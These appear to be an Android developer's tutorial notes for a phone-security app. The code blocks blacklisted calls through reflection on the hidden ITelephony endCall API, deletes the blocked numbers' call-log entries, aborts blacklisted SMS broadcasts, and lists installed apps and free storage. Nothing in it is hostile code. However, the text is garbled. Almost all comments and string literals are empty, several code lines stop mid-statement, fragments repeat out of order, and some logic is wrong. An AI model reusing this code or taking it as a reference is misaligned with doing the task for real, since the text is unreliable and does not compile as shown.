								private	static	final	String	TAG	=	"MyPhoneStateListener";
								@Override
								public	void	onCallStateChanged(int	state,	String	incomingNumber)	{
												super.onCallStateChanged(state,	incomingNumber);
												switch	(state)	{
												case	TelephonyManager.CALL_STATE_RINGING://	
																String	blacknumberMode	=	blackNumberDao.getBlackNumberMode(incomingNumber);
																//	
																if	(!TextUtils.isEmpty(blacknumberMode))	{
																				if	("1".equals(blacknumberMode)	||	"3".equals(blacknumberMode))	{//	"1";
"3",
																								Log.i(TAG,	"" 	+	incomingNumber);
																								endCall();//	
																								return;
																				}
																}
																break;
												}
								}
								/**
									*	3
									*/
								private	void	endCall()	{
												//	IBinder	b	=	ServiceManager.getService(LOCATION_SERVICE);
												//
												try	{
																Class<?>	clazz	=	getClassLoader().loadClass("android.os.ServiceManager");
																Method	method	=	clazz.getDeclaredMethod("getService",	String.class);
																IBinder	b	=	(IBinder)	method.invoke(null,	TELEPHONY_SERVICE);
																//	IBinder	
																ITelephony	asInterface	=	ITelephony.Stub.asInterface(b);
																asInterface.endCall();



												}	catch	(Exception	e)	{
																e.printStackTrace();
												}
								}
				}
}

/**
	*	3
	*/
private	void	endCall()	{
				//	IBinder	b	=	ServiceManager.getService(LOCATION_SERVICE);
				//
				try	{
								Class<?>	clazz	=	getClassLoader().loadClass("android.os.ServiceManager");
								Method	method	=	clazz.getDeclaredMethod("getService",	String.class);
								IBinder	b	=	(IBinder)	method.invoke(null,	TELEPHONY_SERVICE);
								//	IBinder	
								ITelephony	asInterface	=	ITelephony.Stub.asInterface(b);
								asInterface.endCall();
				}	catch	(Exception	e)	{
								e.printStackTrace();
				}
}
Android
Android	API16
\sdk\sources\android-16\android\
AndroidAndroid
\aosp_jb422\frameworks\base\core\java\android\
()Context,PackageManager
public	abstract	class	PackageManager{}
public	abstract	class	Context{}	

syso
public	void	click(View	view){
				PackageManager	pm	=	getPackageManager();
				Context	context	=	getApplicationContext();
				System.out.println("------");
}		
ContextContextImpl
PageageManagerIPackageManager



TelephonyManagerendCall()

1	 IBinder	b	=	ServiceManager.getService(LOCATION_SERVICE);		
2
Class<?>	clazz	=	getClassLoader().loadClass("android.os.ServiceManager");
Method	method	=	clazz.getDeclaredMethod("getService",	String.class);
IBinder	b	=	(IBinder)	method.invoke(null,	TELEPHONY_SERVICE);		
3IBinderaidl
aITelephony.aidl
\frameworks\base\telephony\java\com\android\internal\telephony\ITelephony.aidl
bITelephony.aidl
com.android.internal.telephony;
{@hide}
cITelephony.aidl
d

	
\frameworks\base\telephony\java\android\telephony\NeighboringCellInfo.aidl
\frameworks\base\telephony\java\android\telephony\CellInfo.aidl
eaidl
1
<uses-permission	android:name="android.permission.CALL_PHONE"	/>		
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\data\data\com.android.providers.contacts\databases\contacts2.dbcalls
number:
date:
type:
1
2
3

			



\packages\providers\ContactsProvider\AndroidManifest.xml
<provider	android:name="CallLogProvider"
												android:authorities="call_log"
												android:syncable="false"	android:multiprocess="false"
												android:exported="true"
												android:readPermission="android.permission.READ_CALL_LOG"
												android:writePermission="android.permission.WRITE_CALL_LOG"
</provider>
a):call_log
b)CallLogProvider.javauri
	static	{
				sURIMatcher.addURI(CallLog.AUTHORITY,	"calls",	CALLS);
				sURIMatcher.addURI(CallLog.AUTHORITY,	"calls/#",	CALLS_ID);
				sURIMatcher.addURI(CallLog.AUTHORITY,	"calls/filter/*",	CALLS_FILTER
}

package	cn.zengfansheng.mobilesafe.service;
import	java.lang.reflect.Method;
import	android.app.Service;
import	android.content.ContentResolver;
import	android.content.Context;
import	android.content.Intent;
import	android.database.ContentObserver;
import	android.net.Uri;
import	android.os.Handler;
import	android.os.IBinder;
import	android.telephony.PhoneStateListener;
import	android.telephony.TelephonyManager;
import	android.text.TextUtils;
import	android.util.Log;
import	cn.zengfansheng.mobilesafe.db.dao.BlackNumberDao;
import	com.android.internal.telephony.ITelephony;
/**
	*	3
	*	@author	hacket
	*/
public	class	CallSmsSafeService	extends	Service	{
				private	TelephonyManager	tm;//	
				private	PhoneStateListener	listener;//	
				private	BlackNumberDao	blackNumberDao;//	 dao



				@Override
				public	IBinder	onBind(Intent	intent)	{
								return	null;
				}
				//	1
				@Override
				public	void	onCreate()	{
								super.onCreate();
								blackNumberDao	=	new	BlackNumberDao(getApplicationContext());
								//	
								tm	=	(TelephonyManager)	getSystemService(Context.TELEPHONY_SERVICE);
								listener	=	new	MyPhoneStateListener();
								tm.listen(listener,	PhoneStateListener.LISTEN_CALL_STATE);
				}
				//	2
				@Override
				public	void	onDestroy()	{
								super.onDestroy();
								tm.listen(listener,	PhoneStateListener.LISTEN_NONE);
								listener	=	null;
				}
				
				private	class	MyPhoneStateListener	extends	PhoneStateListener	{
								private	static	final	String	TAG	=	"MyPhoneStateListener";
								@Override
								public	void	onCallStateChanged(int	state,	String	incomingNumber)	{
												super.onCallStateChanged(state,	incomingNumber);
												switch	(state)	{
												case	TelephonyManager.CALL_STATE_RINGING://	
																String	blacknumberMode	=	blackNumberDao.getBlackNumberMode(incomingNumber);
																//	
																if	(!TextUtils.isEmpty(blacknumberMode))	{
																				if	("1".equals(blacknumberMode)	||	"3".equals(blacknumberMode))	{//	"1";"3",
																								Log.i(TAG,	"" 	+	incomingNumber);
																								endCall();//	
																								//	clearCallLog(incomingNumber);//	
																								//	,	
																								
																								//-
																								Uri	uri	=	Uri.parse("content://call_log/calls");
																								getContentResolver().registerContentObserver(uri,	true,
																														new	CallLogObserver(new	Handler(),incomingNumber));//	true



																								return;
																				}
																}
																break;
												}
								}
				}
				/**
					*	5
					*	@author	hacket
					*/
				private	class	CallLogObserver	extends	ContentObserver	{
								
								private	static	final	String	TAG	=	"MyObserver";
								private	String	incomingNumber;
								public	CallLogObserver(Handler	handler,	String	incomingNumber)	{
												super(handler);
												this.incomingNumber	=	incomingNumber;
								}
								@Override
								public	void	onChange(boolean	selfChange)	{
												super.onChange(selfChange);
												Log.i(TAG,	"." );
												clearCallLog(incomingNumber);//	
												getContentResolver().unregisterContentObserver(this);
											//	(this)
								}
				}
				/**
					*	4
					*	@param	incomingNumber	
					*/
				private	void	clearCallLog(String	incomingNumber)	{
								/*<provider	android:name="CallLogProvider"
												android:authorities="call_log"
												android:syncable="false"	android:multiprocess="false"
												android:exported="true"
												android:readPermission="android.permission.READ_CALL_LOG"
												android:writePermission="android.permission.WRITE_CALL_LOG">
								</provider>*/
								//	sURIMatcher.addURI(CallLog.AUTHORITY,	"calls",	CALLS);
								



								//	1
								ContentResolver	resolver	=	getContentResolver();
								Uri	uri	=	Uri.parse("content://call_log/calls");
								resolver.delete(uri,	"number=?",	new	String[]	{	incomingNumber	});
				}
				/**
					*	3
					*/
				private	void	endCall()	{
								//	IBinder	b	=	ServiceManager.getService(LOCATION_SERVICE);
								//
								try	{
												Class<?>	clazz	=	getClassLoader().loadClass("android.os.ServiceManager");
												Method	method	=	clazz.getDeclaredMethod("getService",	String.class);
												IBinder	b	=	(IBinder)	method.invoke(null,	TELEPHONY_SERVICE);
												//	IBinder	
												ITelephony	asInterface	=	ITelephony.Stub.asInterface(b);
												asInterface.endCall();
								}	catch	(Exception	e)	{
												e.printStackTrace();
								}
				}
}

	<uses-permission	android:name="android.permission.READ_CALL_LOG"/>		
	<uses-permission	android:name="android.permission.WRITE_CALL_LOG"/>		

1

endCall();//			
getContentResolver().registerContentObserver(uri,	true,new	CallLogObserver(new	Handler(),incomingNumber));
true	 	
/**
	*	5
	*	@author	hacket
	*/
private	class	CallLogObserver	extends	ContentObserver	{



				private	static	final	String	TAG	=	"MyObserver";
				private	String	incomingNumber;
				public	CallLogObserver(Handler	handler,	String	incomingNumber)	{
								super(handler);
								this.incomingNumber	=	incomingNumber;
				}
				@Override
				public	void	onChange(boolean	selfChange)	{
								super.onChange(selfChange);
								Log.i(TAG,	"." );
								clearCallLog(incomingNumber);//	
								getContentResolver().unregisterContentObserver(this);//	(this)
				}
}



//	0
@Override
public	void	onCreate()	{
				super.onCreate();
				//	
				innerSmsSafeReceiver	=	new	InnerSmsSafeReceiver();
				IntentFilter	filter	=	new	IntentFilter();
				filter.addAction("android.provider.Telephony.SMS_RECEIVED");
				filter.setPriority(IntentFilter.SYSTEM_HIGH_PRIORITY);//	
				registerReceiver(innerSmsSafeReceiver,	filter);
}		

//	1
@Override
public	void	onDestroy()	{
				super.onDestroy();
				//	
				unregisterReceiver(innerSmsSafeReceiver);
				innerSmsSafeReceiver	=	null;
}

/**
	*	6
	*	@author	hacket
	*/
private	class	InnerSmsSafeReceiver	extends	BroadcastReceiver	{
				private	static	final	String	TAG	=	"InnerSmsSafeReceiver";
				@Override
				public	void	onReceive(Context	context,	Intent	intent)	{//	
								Log.i(TAG,	"~" );
								//	1
								Object[]	objects	=	(Object[])	intent.getExtras().get("pdus");
								//	2
								for	(Object	object	:	objects)	{
												//	3SmsMessage
												SmsMessage	smsMessage	=	SmsMessage.createFromPdu((byte[])	object);



												//	4
												String	address	=	smsMessage.getOriginatingAddress();//
												//	4-1
												String	blackNumberMode	=	blackNumberDao.getBlackNumberMode(address);
												//	4-2null,
												if	(!TextUtils.isEmpty(blackNumberMode))	{
																if	(MODE_SMS.equals(blackNumberMode)||	MODE_ALL.equals(blackNumberMode))	{
																				Log.i(TAG,	"" 	+	address);
																				abortBroadcast();
																}
												}
												//	5
												String	body	=	smsMessage.getMessageBody();//
												if	("fapiao".equals(body))	{
																Log.i(TAG,	"" 	+	body);
																abortBroadcast();
												}
								}
				}
}
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1	 TelephonyManager.CALL_STATE_RINGING
2 TelephonyManager.CALL_STATE_IDLE:
32000
4Notification
tickerText()
5Activity
6
7notification

/**
	*	7notification
	*	@param	incomingNumber	
	*/
@SuppressWarnings("deprecation")
private	void	showNotification(String	incomingNumber){
				//	1NotificationManager
				NotificationManager	notificationManager	=	(NotificationManager)	getSystemService(Context.
				//	a)
				Notification	notification	=	new	Notification(R.drawable.notification,"
" +incomingNumber,	System.currentTimeMillis());
				//	new	Notification()	1	23
				notification.flags	=	Notification.FLAG_NO_CLEAR;//	
				
				//	d)	Activity
				Intent	intent	=	new	Intent(this,RingOnceBlockListActivity.class);
				//	e)
				intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);//	// TODO	Notification,
				//	c)
				PendingIntent	contentIntent	=	PendingIntent.getActivity(this,	0,	intent	,	PendingIntent.FLAG_UPDATE_CURRENT
				//PendingIntent.getActivity()	
				//	b)
				notification.setLatestEventInfo(this,	"" ,	"" +incomingNumber,	contentIntent);
				//	notification.setLatestEventInfo()	Intent:PendingIntent
				
				//	2-
				//	FIXME→RingOnceBlockListActivity	.RingOnceBlockListActivity
				notificationManager.notify(0,	notification);



}

	

	



bug1:
a)NotifycationActivity
b)Notifycation

intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
ActivitySingleTop
<activity
				android:name="cn.zengfansheng.mobilesafe.RingOnceBlockListActivity"
				android:launchMode="singleTop"	>
</activity>
Activity
1 android:launchMode="standard"	
2 android:launchMode="singleTop"Activity
3 android:launchMode="singleTask"ActivityActivity
4 android:launchMode="singleInstance"Activity
bug2:notification
PendindIntent.FLAG_UPDATE_CURRENT



——

1
ApplicationInfoPackageInfo
PackageManager.getInstalledApplications()application
PageageManager.getInstalledPackages()

Android
//ActivityManager	windows-Activity
//PackageManager	windows-
//	packageManager.getApplicationInfo(packageName,	flags);	//
//	packageManager.getApplicationIcon(info);//
//	packageManager.getApplicationLabel(info)//
2int28



	
3 ApplicationInfoint
ApplicationInfo	applicationInfo	=	packageInfo.applicationInfo;		
public	static	final	int	FLAG_SYSTEM	=	1<<0;	
//if	set,	this	application	is	installed	in	the	*	device's	system	image.	
public	static	final	int	FLAG_DEBUGGABLE	=	1<<1;	
public	static	final	int	FLAG_HAS_CODE	=	1<<2;	
......
public	static	final	int	FLAG_CANT_SAVE_STATE	=	1<<28;					
int	flags	=	packageInfo.applicationInfo.flags;		//Flags	associated	with	the
application.
flagsint
flags
0
(ApplicationInfo.FLAG_SYSTEM	&	flags)	!=	0		

n1810
private	int	isFree	=	1<<0;
private	int	isFavorable	1<<1;
private	int	isInCombo	1<<2;
......
flag
0

4Container	errorandroid4.1intel
android:installLocation="preferExternal"sdcard



package	cn.zengfansheng.mobilesafe.engine;

import	java.util.ArrayList;

import	java.util.List;

import	android.content.Context;

import	android.content.pm.ApplicationInfo;

import	android.content.pm.PackageInfo;

import	android.content.pm.PackageManager;

import	android.graphics.drawable.Drawable;

import	cn.zengfansheng.mobilesafe.domain.AppInfo;

/**

	*	3——

	*	@author	hacket

	*/

public	class	AppInfoProvider	{

				/**

					*	1

					*	@param	context	

					*	@return	List<AppInfo>	

					*/

				public	static	List<AppInfo>	getAppInfos(Context	context)	{

								List<AppInfo>	appInfos	=	new	ArrayList<AppInfo>();

								//	context.getApplicationInfo();

								//	context.getPackageManager();

								//1

								PackageManager	packageManager	=

context.getPackageManager();

								

								//	packageManager.getApplicationInfo(packageName,	flags);

//

								//	packageManager.getApplicationIcon(info);//

								//	packageManager.getApplicationLabel(info)//

								//2

								List<PackageInfo>	installedPackages	=

packageManager.getInstalledPackages(0);//

								for	(PackageInfo	packageInfo	:	installedPackages)	{

												

												AppInfo	appInfo	=	new	AppInfo();

												//	packageInfo.applicationInfo.icon;//

												//	packageInfo.applicationInfo.labelRes;//

												//	2-1

												Drawable	appIcon	=

packageInfo.applicationInfo.loadIcon(packageManager);



												appInfo.setAppIcon(appIcon);

												//	2-2	

												CharSequence	appLabel	=

packageInfo.applicationInfo.loadLabel(packageManager);

												appInfo.setAppName(appLabel.toString());

												//	2-3	

												String	appPackageName	=

packageInfo.applicationInfo.packageName;

												//	String	appPackageName	=	packageInfo.packageName;

												appInfo.setAppPackageName(appPackageName);

												//	2-4	-

												//	ApplicationInfo	applicationInfo	=

packageInfo.applicationInfo;

												int	flags	=	packageInfo.applicationInfo.flags;

												if	((ApplicationInfo.FLAG_SYSTEM	&	flags)	!=	0)	{//	0

																appInfo.setIsUserApp(false);

												}	else	{//	0

																appInfo.setIsUserApp(true);

												}

												

												//	2-5	romsdcard

												if	((ApplicationInfo.FLAG_EXTERNAL_STORAGE	&	flags)	!=

0)	{//	

																appInfo.setIsInRom(false);

												}	else	{

																appInfo.setIsInRom(true);

												}

												appInfos.add(appInfo);

								}

								return	appInfos;

				}

}





ListView&&&&&&&&&int
1ListView
a)progressbarframlayout
b)	select	*	from	table	limit	?	offset	?;
c)
d)
e)
f)
g)	bug
h)ListView

onScrollListener		
notifyDateSetChange();		listview.
2

select	*	from	table	limit	?	offset	?;
.
3
AlertDialog
4
a)TelephonyManager
b)
//
c)ITelephony,endCall();
			
api.	
5

.

.
	.
6
a)	
a)	
b)	
c)	
b)	.
7——notification	api.



1	TelephonyManager.CALL_STATE_RINGING
2TelephonyManager.CALL_STATE_IDLE:
32000
4Notification
tickerText()
5Activity
notificationactivityactivity
activity.		activity		singletop
8-romsdcard
StatFs
9()
PackageManager	.
10int
	ApplicationInfo.flag
1>>0
00



SDcard

1sdcardsdcard
//	
//	android	1.5	1.6	2.1	/sdcard
//	android	2.2	~4.1	/mnt/sdcard
//	android	4.2	/mnt/sdcard01
//	/mnt/storage/sdcard01
2api
/data/data	Environment.getDataDirectory().getAbsolutePath()		
sdcard	Environment.getExternalStorageDirectory().getAbsolutePath()		
3-
/**
	*	1
	*	
	*	@param	path	
	*	@return	
	*/
public	String	getAvailableStorage(String	path)	{
				StatFs	statFs	=	new	StatFs(path);
				int	countSize	=	statFs.getAvailableBlocks()	*	statFs.getBlockSize();
				String	formatFileSize	=	Formatter.formatFileSize(this,	countSize);
				return	formatFileSize;
}		
4sdcardrom
//	a rom
tv_rom_available.setText(getResources().getString(R.string.internal_storage_available
								+":"+getAvailableStorage(Environment.getDataDirectory().getAbsolutePath()));
//	b sdcard
tv_sdcard_available.setText(getResources().getString(R.string.sdcard_storage_available
								+	""	+	getAvailableStorage(Environment.getExternalStorageDirectory().getAbsolutePath()));

package	cn.zengfansheng.mobilesafe;

	

import	android.app.Activity;



import	android.os.Bundle;

import	android.os.Environment;

import	android.os.StatFs;

import	android.text.format.Formatter;

import	android.widget.TextView;

	

/**

*	17Activity

*

*	@author	hacket

*/

public	class	AppManageActivity	extends	Activity	{

	

				private	TextView	tv_rom_available;//rom

				private	TextView	tv_sdcard_available;//sdcard

	

				@Override

				protected	void	onCreate(Bundle	savedInstanceState)	{

								super.onCreate(savedInstanceState);

								this.setContentView(R.layout.activity_app_manager);

	

								tv_rom_available	=	(TextView)

this.findViewById(R.id.tv_available_internal_storage);

								tv_sdcard_available	=	(TextView)

this.findViewById(R.id.tv_available_sdcard_storage);

	

								//	

								//	android	1.5	1.6	2.1	/sdcard

								//	android	2.2	~4.1	/mnt/sdcard

								//	android	4.2	/mnt/sdcard01

								//	/mnt/storage/sdcard01

	

								//	arom

							

tv_rom_available.setText(getResources().getString(R.string.internal_storage_available)

															

+":"+getAvailableStorage(Environment.getDataDirectory().getAbsolutePath()));

								//	bsdcard

							

tv_sdcard_available.setText(getResources().getString(R.string.sdcard_storage_available)

																+	""	+

getAvailableStorage(Environment.getExternalStorageDirectory().getAbsolutePath()));



				}

	

				/**

					*	1

					*

					*	@param	path	

					*	@return	

					*/

				public	String	getAvailableStorage(String	path)	{

								StatFs	statFs	=	new	StatFs(path);

								int	countSize	=	statFs.getAvailableBlocks()	*

statFs.getBlockSize();

								String	formatFileSize	=

Formatter.formatFileSize(this,	countSize);

								return	formatFileSize;

				}

}





notify	

revert	

affinity	

favorable	

combo	



1)ListView:
a)convertViewview
b)ViewHolder
2)Handler+Message
3)	FocusedTextView
android:ellipsize="marquee"
android:singleLine="true"

package	cn.zengfansheng.mobilesafe;

	

import	java.util.List;

import	android.annotation.SuppressLint;

import	android.app.Activity;

import	android.os.Bundle;

import	android.os.Environment;

import	android.os.Handler;

import	android.os.Message;

import	android.os.StatFs;

import	android.text.format.Formatter;

import	android.view.View;

import	android.view.ViewGroup;

import	android.widget.BaseAdapter;

import	android.widget.ImageView;

import	android.widget.LinearLayout;

import	android.widget.ListView;

import	android.widget.RelativeLayout;

import	android.widget.TextView;

import	cn.zengfansheng.mobilesafe.domain.AppInfo;

import	cn.zengfansheng.mobilesafe.engine.AppInfoProvider;

import	cn.zengfansheng.mobilesafe.ui.FocusedTextView;

	/**

*	17Activity

*

*	@author	hacket

*/

public	class	AppManageActivity	extends	Activity	{

	

				private	TextView	tv_rom_available;//rom

				private	TextView	tv_sdcard_available;//sdcard

				private	ListView	lv_app_manage;

				private	LinearLayout	ll_app_data;

	

				private	List<AppInfo>	appInfos;//ListView



				private	ViewHolder	viewHolder;//	

	

				@SuppressLint("HandlerLeak")

				private	Handler	handler	=	new	Handler(){

	

								@Override

								public	void	handleMessage(Message	msg)	{

												super.handleMessage(msg);

												ll_app_data.setVisibility(LinearLayout.INVISIBLE);

												lv_app_manage.setAdapter(new	AppManageAdapter());

								}

				};

				@Override

				protected	void	onCreate(Bundle	savedInstanceState)	{

								super.onCreate(savedInstanceState);

								this.setContentView(R.layout.activity_app_manager);

								tv_rom_available	=	(TextView)	this.findViewById(R.id.tv_available_internal_storage);

								tv_sdcard_available	=	(TextView)	this.findViewById(R.id.tv_available_sdcard_storage);

								ll_app_data	=	(LinearLayout)	this.findViewById(R.id.ll_app_data_fill);

								lv_app_manage	=	(ListView)	this.findViewById(R.id.lv_app_list);

	

								//	

								//	android	1.5	1.6	2.1	/sdcard

								//	android	2.2	~4.1	/mnt/sdcard

								//	android	4.2	/mnt/sdcard01

								//	/mnt/storage/sdcard01

	

								//	arom

								tv_rom_available.setText(getResources().getString(R.string.internal_storage_available)

																+":"+getAvailableStorage(Environment.getDataDirectory().getAbsolutePath()));

								//	bsdcard

								tv_sdcard_available.setText(getResources().getString(R.string.sdcard_storage_available)

																+	""	+	getAvailableStorage(Environment.getExternalStorageDirectory().getAbsolutePath()));

	

								fillData();

				}

	

				/**

					*	4Adapter

					*

					*	@author	hacket

					*/

				private	class	AppManageAdapter	extends	BaseAdapter	{

	

								@Override

								public	int	getCount()	{

												if	(appInfos	!=	null)	{

																return	appInfos.size();

												}



												return	0;

								}

								@SuppressWarnings("unused")

								@Override

								public	View	getView(int	position,	View	convertView,	ViewGroup	parent)	{

																																																																																																																					

												View	view	=	null;

												if	(view	!=	null	&&	view	instanceof	RelativeLayout)	{

																view	=	convertView;

																viewHolder	=	(ViewHolder)	view.getTag();

												}else	{

																view	=	View.inflate(getApplicationContext(),	R.layout.listview_appinfo_item,	null);

	

																viewHolder	=	new	ViewHolder();

																viewHolder.iv_app_icon	=	(ImageView)	view.findViewById(R.id.iv_app_icon);

																viewHolder.tv_app_name	=	(FocusedTextView)	view.findViewById(R.id.tv_app_name);

																viewHolder.tv_app_install_location	=	(TextView)	view.findViewById(R.id.tv_app_install_location);

																view.setTag(viewHolder);

												}

	

												AppInfo	appInfo	=	appInfos.get(position);

												viewHolder.iv_app_icon.setImageDrawable(appInfo.getAppIcon());

												viewHolder.tv_app_name.setText(appInfo.getAppName());

												boolean	isInRom	=	appInfo.getIsInRom();

												if	(isInRom)	{//	

																viewHolder.tv_app_install_location.setText("" );

												}	else	{//	

																viewHolder.tv_app_install_location.setText("" );

												}

												return	view;

								}

								@Override

								public	Object	getItem(int	position)	{

												return	null;

								}

								@Override

								public	long	getItemId(int	position)	{

												return	0;

								}

				}

	

				private	class	ViewHolder	{

								ImageView	iv_app_icon;//	

								FocusedTextView	tv_app_name;//	

								TextView	tv_app_install_location;//	

				}

				/**

					*	2

					*/

				private	void	fillData()	{



	

								//	

								ll_app_data.setVisibility(LinearLayout.VISIBLE);

								//	

								appInfos	=	AppInfoProvider.getAppInfos(this);

								//	

								handler.sendEmptyMessage(0);

				}

	

				/**

					*	1

					*	@param	path

					*	@return	

					*/

				public	String	getAvailableStorage(String	path)	{

								StatFs	statFs	=	new	StatFs(path);

								int	countSize	=	statFs.getAvailableBlocks()	*	statFs.getBlockSize();

								String	formatFileSize	=	Formatter.formatFileSize(this,	countSize);

								return	formatFileSize;

				}

}

1
	 		

wiz:open_attachment?guid=f81f06ae-81e4-4091-9bda-e5577a91c8eb


	
	
<cn.zengfansheng.mobilesafe.ui.FocusedTextView
					android:id="@+id/tv_app_name"
					android:layout_width="wrap_content"
					android:layout_height="wrap_content"
					android:layout_alignParentTop="true"
					android:layout_marginLeft="5dip"
					android:layout_marginTop="5dip"
					android:layout_toRightOf="@+id/iv_app_icon"
					android:ellipsize="marquee"
					android:singleLine="true"
					android:textColor="#000000"
					android:textSize="20sp"	/>





ListView

/**
	*	4Adapter
	*	
	*	@author	hacket
	*/
private	class	AppManageAdapter	extends	BaseAdapter	{
				@Override
				public	int	getCount()	{
								int	usersize	=	userAppInfos.size()	+	1;
								int	syssize	=	sysAppInfos.size()	+	1;
								return	usersize	+	syssize;
				}
				@Override
				public	Object	getItem(int	position)	{
							return	null;
				}
				@Override
				public	long	getItemId(int	position)	{
								return	0;
				}
				@Override
				public	View	getView(int	position,	View	convertView,	ViewGroup	parent)	{
								
								AppInfo	appInfo	=	null;
								if	(position	==	0)	{//	TextView
												TextView	tv	=	new	TextView(getApplicationContext());
												tv.setBackgroundColor(Color.GRAY);
												tv.setTextColor(Color.WHITE);
												tv.setText("" 	+	userAppInfos.size()	+	"" );
												return	tv;//	return,appInfo
								}	else	if	(position	==	userAppInfos.size()	+	1)	{//	TextView
												TextView	tv	=	new	TextView(getApplicationContext());
												tv.setBackgroundColor(Color.GRAY);
												tv.setTextColor(Color.WHITE);



												tv.setText("" 	+	sysAppInfos.size()	+	"" );
												return	tv;//	return,appInfo
								}	else	if	(position	<=	userAppInfos.size())	{//	
												int	newUserPosition	=	position-1;
												appInfo	=	userAppInfos.get(newUserPosition);
								}	else	{//	
												int	newSysPosition	=	position	-	1	-	userAppInfos.size()	-	1;
												appInfo	=	sysAppInfos.get(newSysPosition);
								}
								View	view	=	null;
								ViewHolder	viewHolder;//	
								if	(convertView	!=	null	&&	view	instanceof	RelativeLayout)	{
												view	=	convertView;
												viewHolder	=	(ViewHolder)	view.getTag();
								}else	{
												view	=	View.inflate(getApplicationContext(),	R.layout.listview_appinfo_item
												viewHolder	=	new	ViewHolder();
												viewHolder.iv_app_icon	=	(ImageView)	view.findViewById(R.id.iv_app_icon
												viewHolder.tv_app_name	=	(FocusedTextView)	view.findViewById(R.id.
												viewHolder.tv_app_install_location	=	(TextView)	view.findViewById(R.id.
												view.setTag(viewHolder);
								}
								
								viewHolder.iv_app_icon.setImageDrawable(appInfo.getAppIcon());
								viewHolder.tv_app_name.setText(appInfo.getAppName());
								boolean	isInRom	=	appInfo.getIsInRom();
								if	(isInRom)	{//	
												viewHolder.tv_app_install_location.setText("" );
								}	else	{//	
												viewHolder.tv_app_install_location.setText("" );
								}
								return	view;
				}
}
private	class	ViewHolder	{
				ImageView	iv_app_icon;//	
				FocusedTextView	tv_app_name;//	



				TextView	tv_app_install_location;//	
}



PopupWindow-

1PopupWindow PopupWindow	
Activity

2PopupWindow-
View	popupView	=	View.inflate(getApplicationContext(),R.layout.popup_app_item,null);
ScaleAnimation	scaleAnimation	=	new	ScaleAnimation(0.3f,1.1f,	0.3f,	1.1f,
								ScaleAnimation.RELATIVE_TO_SELF,0f,	ScaleAnimation.RELATIVE_TO_SELF,	0.7f);
//	xxyy
//xyxy
scaleAnimation.setDuration(800);
popupView.startAnimation(scaleAnimation);//		popwindow
popupWindow.setBackgroundDrawable(new	ColorDrawable(Color.TRANSPARENT));

//	ditem
lv_app_manage.setOnItemClickListener(new	OnItemClickListener()	{
				@Override
				public	void	onItemClick(AdapterView<?>	parent,	View	view,
												int	position,	long	id)	{
								//	1parentListView
								//	2viewitem,
								//	3position,item
								//	4id

								Object	obj	=	parent.getItemAtPosition(position);
								//	ObjectnullAdaptergetItem( int	position)

								if	(obj	!=	null	&&	obj	instanceof	AppInfo)	{//	null,TextView;null,AppInfo
												AppInfo	appInfo	=	(AppInfo)	obj;
												//	1
												String	appPackageName	=	appInfo.getAppPackageName();
												TextView	tv	=	new	TextView(getApplicationContext());
												tv.setText(appPackageName);
												tv.setTextColor(Color.RED);
												
												//	2new popupwindow
												dismissPopupWindow();

												//	int	width	=	LayoutParams.WRAP_CONTENT;//	-2
												//	int	height	=	LayoutParams.WRAP_CONTENT;//	-2



												popupWindow	=	new	PopupWindow(tv,	-2,	-2);//	
																		
	popupWindow.setBackgroundDrawable(new	ColorDrawable(Color.TRANSPARENT));
												
																					//	3view
												int[]	location	=	new	int[2];//	location[0]:x,location[1]:y
												view.getLocationInWindow(location);
												//itemitem,the	array	contains	the	x	and	y	location	in	that	order
												
												//	4
												int	gravity	=	Gravity.TOP+Gravity.LEFT;//TOP:48		LEFT:3		53,
Gravity.TOP|Gravity.LEFT

												//	5
												popupWindow.showAtLocation(parent,	gravity,	0,	location[1]);//	xy
								}
				}
});

1



1	 popupWindow	
2popupwindow	
//	e
lv_app_manage.setOnScrollListener(new	OnScrollListener()	{
				@Override
				public	void	onScrollStateChanged(AbsListView	view,	int	scrollState)	{
				}
				@Override
				public	void	onScroll(AbsListView	view,	int	firstVisibleItem,
												int	visibleItemCount,	int	totalItemCount)	{
								dismissPopupWindow();

								//	 textview
								if	(userAppInfos	!=	null	&&	sysAppInfos	!=	null)	{//
												if	(firstVisibleItem	>=	(userAppInfos.size()	+	1))	{//	
																tv_status.setText("" 	+	sysAppInfos.size()	+	"" );
												}	else	{//	
																tv_status.setText("" 	+	userAppInfos.size()	+	"" );
												}
								}
				}
});



					
2
PopupWindow



3popupwindow
popupwindowactivity
ActivityonDestroy()popupwindow
@Override
protected	void	onDestroy()	{
				super.onDestroy();
				dismissPopupWindow();//	popupWindow
}		





1Activity
2PackageManager
PackageManager.getPackageInfo()
	manifestapplication
<manifest	xmlns:android="http://schemas.android.com/apk/res/android"
				package="cn.zengfansheng.mobilesafe"
				android:versionCode="6"
				android:installLocation="preferExternal"
				android:versionName="6.0"	>
<application
								android:allowBackup="true"
								android:icon="@drawable/ic_launcher"
								android:label="@string/app_name"
								android:theme="@android:style/Theme.Light.NoTitleBar"	>
flag
int	flags	=	PackageManager.GET_ACTIVITIES;
PackageInfo	packageInfo	=	packageManager.getPackageInfo(clickAppInfo.getAppPackageName(),	flags);

/**
	*	9
	*/
public	void	launchApplication()	{
				PackageManager	packageManager	=	this.getPackageManager();
				try	{
								//	-
								//	flagsnull
								int	flags	=	PackageManager.GET_ACTIVITIES;
								PackageInfo	packageInfo	=	packageManager.getPackageInfo(
																clickAppInfo.getAppPackageName(),	flags);
								ActivityInfo[]	activities	=	packageInfo.activities;
								if	(activities	!=	null	&&	activities.length	>	0)	{
												//	activity,
												ActivityInfo	activityInfo	=	activities[0];
												String	className	=	activityInfo.name;//From	the	"android:name"	attribute.
												Intent	intent	=	new	Intent();
												intent.setClassName(clickAppInfo.getAppPackageName(),	className);
												startActivity(intent);
								}
				}	catch	(NameNotFoundException	e)	{



								e.printStackTrace();
								ToastUtils.showToastInThread(this,	"Activity~~~" );
								//	c
				}
}
1
PackageManager.getPackageInfo()

flags
int	flags	=	PackageManager.GET_ACTIVITIES;
PackageInfo	packageInfo	=	packageManager.getPackageInfo(clickAppInfo.getAppPackageName(),	flags);



-

\packages\apps\Mms\AndroidManifest.xml
<activity	android:name=".ui.ComposeMessageActivity"
																		android:configChanges="orientation|screenSize|keyboardHidden"
																		android:windowSoftInputMode="stateHidden|adjustResize"
																		android:theme="@style/MmsHoloTheme"
																		android:parentActivityName=".ui.ConversationList"
																		android:launchMode="singleTop"	>		
											<intent-filter>
															<action	android:name="android.intent.action.SEND"	/>
															<category	android:name="android.intent.category.DEFAULT"	/>
															<data	android:mimeType="text/plain"	/>
											</intent-filter>		
</activity>		

